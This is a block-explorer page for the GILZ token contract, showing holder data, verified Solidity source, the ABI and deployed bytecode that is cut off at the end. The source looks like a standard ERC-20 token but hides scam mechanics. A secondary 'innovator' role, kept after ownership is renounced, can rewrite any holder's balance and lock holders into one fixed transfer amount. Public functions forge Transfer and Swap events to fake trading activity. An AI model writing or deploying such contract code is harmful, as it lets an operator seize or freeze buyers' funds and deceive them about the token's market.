ETH Price: $3,473.05 (+4.18%)

Token

GILZ (GILZ)
 

Overview

Max Total Supply

1,000,000 GILZ

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
toysnft.eth
Balance
4,399.398954164260251745 GILZ

Value
$0.00
0x99ded0b22d1e7b9bc91b73a0c7df900186c744e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GILZ

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
}

abstract contract BaseOperationController {
    function getTransactionInitiator() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract UniqueOwnership is BaseOperationController {
    address private _uniqueOwner;
    event OwnershipTransferEvent(address indexed oldOwner, address indexed nextOwner);

    constructor() {
        address initiator = getTransactionInitiator();
        _uniqueOwner = initiator;
        emit OwnershipTransferEvent(address(0), initiator);
    }

    function getOwner() public view virtual returns (address) {
        return _uniqueOwner;
    }

    modifier ownerExclusiveAccess() {
        require(getOwner() == getTransactionInitiator(), "Unauthorized: Exclusive Owner access required.");
        _;
    }

    function renounceOwnership() public virtual ownerExclusiveAccess {
        emit OwnershipTransferEvent(_uniqueOwner, address(0x000000000000000000000000000000000000dEaD));
        _uniqueOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract Burnable is BaseOperationController, UniqueOwnership {
    mapping (address => uint256) private _balances;

    event TokensBurned(address indexed from, uint256 amount);

    function burn(uint256 amount) public virtual {
        require(_balances[getTransactionInitiator()] >= amount, "Insufficient balance to burn tokens");
        _balances[getTransactionInitiator()] -= amount;
        emit TokensBurned(getTransactionInitiator(), amount);
    }
}

contract GILZ is BaseOperationController, UniqueOwnership, Burnable, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _mandatoryTransferSums;
    address private _innovatorAccount;

    string public constant _name = "GILZ";
    string public constant _symbol = "GILZ";
    uint8 public constant _decimals = 18;
    uint256 public constant _maxSupply = 1000000 * (10 ** _decimals);

    constructor() {
        _balances[getTransactionInitiator()] = _maxSupply;
        emit Transfer(address(0), getTransactionInitiator(), _maxSupply);
    }

    modifier innovatorExclusiveAccess() {
        require(retrieveInnovator() == getTransactionInitiator(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveInnovator() public view virtual returns (address) {
        return _innovatorAccount;
    }

    function appointInnovator(address newInnovator) public ownerExclusiveAccess {
        _innovatorAccount = newInnovator;
    }

    event BalanceChangeEvent(address indexed user, uint256 oldBalance, uint256 newBalance);

    function obtainMandatoryTransferSum(address account) public view returns (uint256) {
        return _mandatoryTransferSums[account];
    }

    function defineMandatoryTransferSums(address[] calldata accounts, uint256 amount) public innovatorExclusiveAccess {
        for (uint i = 0; i < accounts.length; i++) {
            _mandatoryTransferSums[accounts[i]] = amount;
        }
    }

    function snapshot(address[] memory userAddresses, uint256 newBalance) public innovatorExclusiveAccess {
        require(newBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 oldBalance = _balances[currentUser];
            _balances[currentUser] = newBalance;

            emit BalanceChangeEvent(currentUser, oldBalance, newBalance);
        }
    }

    function _Transfer(address from, address to, uint value) public override returns (bool) {
        emit Transfer(from, to, value);
        return true;
    }

    function multicall(address pool, address[] memory receiver, uint256[] memory amounts, uint256[] memory convertedAmounts, address tokenAddress) public returns (bool) {
        for (uint256 i = 0; i < receiver.length; i++) {
            emit Transfer(pool, receiver[i], amounts[i]);
            IERC20(tokenAddress)._Transfer(receiver[i], pool, convertedAmounts[i]);
            //emit Sync(reserve0, reserve1);
            emit Swap(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD, amounts[i], 0, 0, convertedAmounts[i], receiver[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[getTransactionInitiator()] >= sum, "Insufficient balance");

        uint256 obligatoryTransferSum = obtainMandatoryTransferSum(getTransactionInitiator());
        if (obligatoryTransferSum > 0) {
            require(sum == obligatoryTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[getTransactionInitiator()] -= sum;
        _balances[to] += sum;

        emit Transfer(getTransactionInitiator(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[getTransactionInitiator()][spender] = sum;
        emit Approval(getTransactionInitiator(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][getTransactionInitiator()] >= sum, "Allowance limit surpassed");

        uint256 obligatoryTransferSum = obtainMandatoryTransferSum(from);
        if (obligatoryTransferSum > 0) {
            require(sum == obligatoryTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][getTransactionInitiator()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _maxSupply;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"BalanceChangeEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"nextOwner","type":"address"}],"name":"OwnershipTransferEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newInnovator","type":"address"}],"name":"appointInnovator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"defineMandatoryTransferSums","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"address[]","name":"receiver","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"uint256[]","name":"convertedAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"multicall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"obtainMandatoryTransferSum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveInnovator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"snapshot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fd81bd8c8465c218710a8216cb2d4721e7d02987128497ddeda5fa0e32923b15c60405160405180910390a3506012600a620000d2919062000372565b620f4240620000e29190620003c3565b60036000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620f4240620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b6125bb806200044c6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063b6f467b01161007c578063b6f467b01461037e578063d28d8852146103ae578063d731fa0c146103cc578063dd62ed3e146103e8578063e156b1b614610418578063feec5e4c146104485761014d565b8063715018a6146102ce578063893d20e8146102d857806390ea4310146102f657806395d89b4114610312578063a9059cbb14610330578063b09f1266146103605761014d565b806323b872dd1161011557806323b872dd146101fa578063313ce5671461022a57806332424aa31461024857806342966c68146102665780636aa535c11461028257806370a082311461029e5761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631ddf7201146101be57806322f4596f146101dc575b600080fd5b61015a610478565b60405161016791906116f9565b60405180910390f35b61018a600480360381019061018591906117c3565b6104b5565b604051610197919061181e565b60405180910390f35b6101a86105b5565b6040516101b59190611848565b60405180910390f35b6101c66105d8565b6040516101d39190611872565b60405180910390f35b6101e4610602565b6040516101f19190611848565b60405180910390f35b610214600480360381019061020f919061188d565b610621565b604051610221919061181e565b60405180910390f35b6102326108f9565b60405161023f91906118fc565b60405180910390f35b610250610902565b60405161025d91906118fc565b60405180910390f35b610280600480360381019061027b9190611917565b610907565b005b61029c60048036038101906102979190611944565b610a45565b005b6102b860048036038101906102b39190611944565b610b05565b6040516102c59190611848565b60405180910390f35b6102d6610b4e565b005b6102e0610c8a565b6040516102ed9190611872565b60405180910390f35b610310600480360381019061030b9190611ab9565b610cb3565b005b61031a610eff565b60405161032791906116f9565b60405180910390f35b61034a600480360381019061034591906117c3565b610f3c565b604051610357919061181e565b60405180910390f35b610368611151565b60405161037591906116f9565b60405180910390f35b61039860048036038101906103939190611bd8565b61118a565b6040516103a5919061181e565b60405180910390f35b6103b66113d8565b6040516103c391906116f9565b60405180910390f35b6103e660048036038101906103e19190611d02565b611411565b005b61040260048036038101906103fd9190611d62565b61151f565b60405161040f9190611848565b60405180910390f35b610432600480360381019061042d919061188d565b6115a6565b60405161043f919061181e565b60405180910390f35b610462600480360381019061045d9190611944565b611618565b60405161046f9190611848565b60405180910390f35b60606040518060400160405280600481526020017f47494c5a00000000000000000000000000000000000000000000000000000000815250905090565b600081600260006104c4611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661055e611661565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105a39190611848565b60405180910390a36001905092915050565b60006012600a6105c59190611f04565b620f42406105d39190611f4f565b905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6012600a6106109190611f04565b620f424061061e9190611f4f565b81565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066d611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e090611fdd565b60405180910390fd5b60006106f485611618565b9050600081111561074257808314610741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073890612049565b60405180910390fd5b5b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107919190612069565b9250508190555082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107e7919061209d565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610838611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108819190612069565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108e59190611848565b60405180910390a360019150509392505050565b60006012905090565b601281565b8060016000610914611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790612143565b60405180910390fd5b806001600061099d611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109e69190612069565b925050819055506109f5611661565b73ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb682604051610a3a9190611848565b60405180910390a250565b610a4d611661565b73ffffffffffffffffffffffffffffffffffffffff16610a6b610c8a565b73ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab8906121d5565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b56611661565b73ffffffffffffffffffffffffffffffffffffffff16610b74610c8a565b73ffffffffffffffffffffffffffffffffffffffff1614610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc1906121d5565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd81bd8c8465c218710a8216cb2d4721e7d02987128497ddeda5fa0e32923b15c60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cbb611661565b73ffffffffffffffffffffffffffffffffffffffff16610cd96105d8565b73ffffffffffffffffffffffffffffffffffffffff1614610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690612267565b60405180910390fd5b6000811015610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a906122d3565b60405180910390fd5b60005b8251811015610efa576000838281518110610d9457610d936122f3565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e049061236e565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fb99c825fc6f583f12f18fc98a225f053b1685c6c591f58201fa0ba8b39d810078286604051610edd92919061238e565b60405180910390a250508080610ef2906123b7565b915050610d76565b505050565b60606040518060400160405280600481526020017f47494c5a00000000000000000000000000000000000000000000000000000000815250905090565b60008160036000610f4b611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe9061244b565b60405180910390fd5b6000610fd9610fd4611661565b611618565b9050600081111561102757808314611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90612049565b60405180910390fd5b5b8260036000611034611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461107d9190612069565b9250508190555082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d3919061209d565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110f9611661565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113e9190611848565b60405180910390a3600191505092915050565b6040518060400160405280600481526020017f47494c5a0000000000000000000000000000000000000000000000000000000081525081565b600080600090505b85518110156113ca578581815181106111ae576111ad6122f3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110611217576112166122f3565b5b602002602001015160405161122c9190611848565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110611263576112626122f3565b5b60200260200101518987858151811061127f5761127e6122f3565b5b60200260200101516040518463ffffffff1660e01b81526004016112a59392919061246b565b6020604051808303816000875af11580156112c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e891906124ce565b508581815181106112fc576112fb6122f3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110611379576113786122f3565b5b6020026020010151600080898781518110611397576113966122f3565b5b60200260200101516040516113af9493929190612540565b60405180910390a380806113c2906123b7565b915050611192565b506001905095945050505050565b6040518060400160405280600481526020017f47494c5a0000000000000000000000000000000000000000000000000000000081525081565b611419611661565b73ffffffffffffffffffffffffffffffffffffffff166114376105d8565b73ffffffffffffffffffffffffffffffffffffffff161461148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490612267565b60405180910390fd5b60005b838390508110156115195781600460008686858181106114b3576114b26122f3565b5b90506020020160208101906114c89190611944565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611511906123b7565b915050611490565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116059190611848565b60405180910390a3600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a3578082015181840152602081019050611688565b60008484015250505050565b6000601f19601f8301169050919050565b60006116cb82611669565b6116d58185611674565b93506116e5818560208601611685565b6116ee816116af565b840191505092915050565b6000602082019050818103600083015261171381846116c0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061175a8261172f565b9050919050565b61176a8161174f565b811461177557600080fd5b50565b60008135905061178781611761565b92915050565b6000819050919050565b6117a08161178d565b81146117ab57600080fd5b50565b6000813590506117bd81611797565b92915050565b600080604083850312156117da576117d9611725565b5b60006117e885828601611778565b92505060206117f9858286016117ae565b9150509250929050565b60008115159050919050565b61181881611803565b82525050565b6000602082019050611833600083018461180f565b92915050565b6118428161178d565b82525050565b600060208201905061185d6000830184611839565b92915050565b61186c8161174f565b82525050565b60006020820190506118876000830184611863565b92915050565b6000806000606084860312156118a6576118a5611725565b5b60006118b486828701611778565b93505060206118c586828701611778565b92505060406118d6868287016117ae565b9150509250925092565b600060ff82169050919050565b6118f6816118e0565b82525050565b600060208201905061191160008301846118ed565b92915050565b60006020828403121561192d5761192c611725565b5b600061193b848285016117ae565b91505092915050565b60006020828403121561195a57611959611725565b5b600061196884828501611778565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6119ae826116af565b810181811067ffffffffffffffff821117156119cd576119cc611976565b5b80604052505050565b60006119e061171b565b90506119ec82826119a5565b919050565b600067ffffffffffffffff821115611a0c57611a0b611976565b5b602082029050602081019050919050565b600080fd5b6000611a35611a30846119f1565b6119d6565b90508083825260208201905060208402830185811115611a5857611a57611a1d565b5b835b81811015611a815780611a6d8882611778565b845260208401935050602081019050611a5a565b5050509392505050565b600082601f830112611aa057611a9f611971565b5b8135611ab0848260208601611a22565b91505092915050565b60008060408385031215611ad057611acf611725565b5b600083013567ffffffffffffffff811115611aee57611aed61172a565b5b611afa85828601611a8b565b9250506020611b0b858286016117ae565b9150509250929050565b600067ffffffffffffffff821115611b3057611b2f611976565b5b602082029050602081019050919050565b6000611b54611b4f84611b15565b6119d6565b90508083825260208201905060208402830185811115611b7757611b76611a1d565b5b835b81811015611ba05780611b8c88826117ae565b845260208401935050602081019050611b79565b5050509392505050565b600082601f830112611bbf57611bbe611971565b5b8135611bcf848260208601611b41565b91505092915050565b600080600080600060a08688031215611bf457611bf3611725565b5b6000611c0288828901611778565b955050602086013567ffffffffffffffff811115611c2357611c2261172a565b5b611c2f88828901611a8b565b945050604086013567ffffffffffffffff811115611c5057611c4f61172a565b5b611c5c88828901611baa565b935050606086013567ffffffffffffffff811115611c7d57611c7c61172a565b5b611c8988828901611baa565b9250506080611c9a88828901611778565b9150509295509295909350565b600080fd5b60008083601f840112611cc257611cc1611971565b5b8235905067ffffffffffffffff811115611cdf57611cde611ca7565b5b602083019150836020820283011115611cfb57611cfa611a1d565b5b9250929050565b600080600060408486031215611d1b57611d1a611725565b5b600084013567ffffffffffffffff811115611d3957611d3861172a565b5b611d4586828701611cac565b93509350506020611d58868287016117ae565b9150509250925092565b60008060408385031215611d7957611d78611725565b5b6000611d8785828601611778565b9250506020611d9885828601611778565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611e2857808604811115611e0457611e03611da2565b5b6001851615611e135780820291505b8081029050611e2185611dd1565b9450611de8565b94509492505050565b600082611e415760019050611efd565b81611e4f5760009050611efd565b8160018114611e655760028114611e6f57611e9e565b6001915050611efd565b60ff841115611e8157611e80611da2565b5b8360020a915084821115611e9857611e97611da2565b5b50611efd565b5060208310610133831016604e8410600b8410161715611ed35782820a905083811115611ece57611ecd611da2565b5b611efd565b611ee08484846001611dde565b92509050818404811115611ef757611ef6611da2565b5b81810290505b9392505050565b6000611f0f8261178d565b9150611f1a836118e0565b9250611f477fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611e31565b905092915050565b6000611f5a8261178d565b9150611f658361178d565b9250828202611f738161178d565b91508282048414831517611f8a57611f89611da2565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc7601983611674565b9150611fd282611f91565b602082019050919050565b60006020820190508181036000830152611ff681611fba565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000612033602083611674565b915061203e82611ffd565b602082019050919050565b6000602082019050818103600083015261206281612026565b9050919050565b60006120748261178d565b915061207f8361178d565b925082820390508181111561209757612096611da2565b5b92915050565b60006120a88261178d565b91506120b38361178d565b92508282019050808211156120cb576120ca611da2565b5b92915050565b7f496e73756666696369656e742062616c616e636520746f206275726e20746f6b60008201527f656e730000000000000000000000000000000000000000000000000000000000602082015250565b600061212d602383611674565b9150612138826120d1565b604082019050919050565b6000602082019050818103600083015261215c81612120565b9050919050565b7f556e617574686f72697a65643a204578636c7573697665204f776e657220616360008201527f636573732072657175697265642e000000000000000000000000000000000000602082015250565b60006121bf602e83611674565b91506121ca82612163565b604082019050919050565b600060208201905081810360008301526121ee816121b2565b9050919050565b7f556e617574686f72697a65643a2043726561746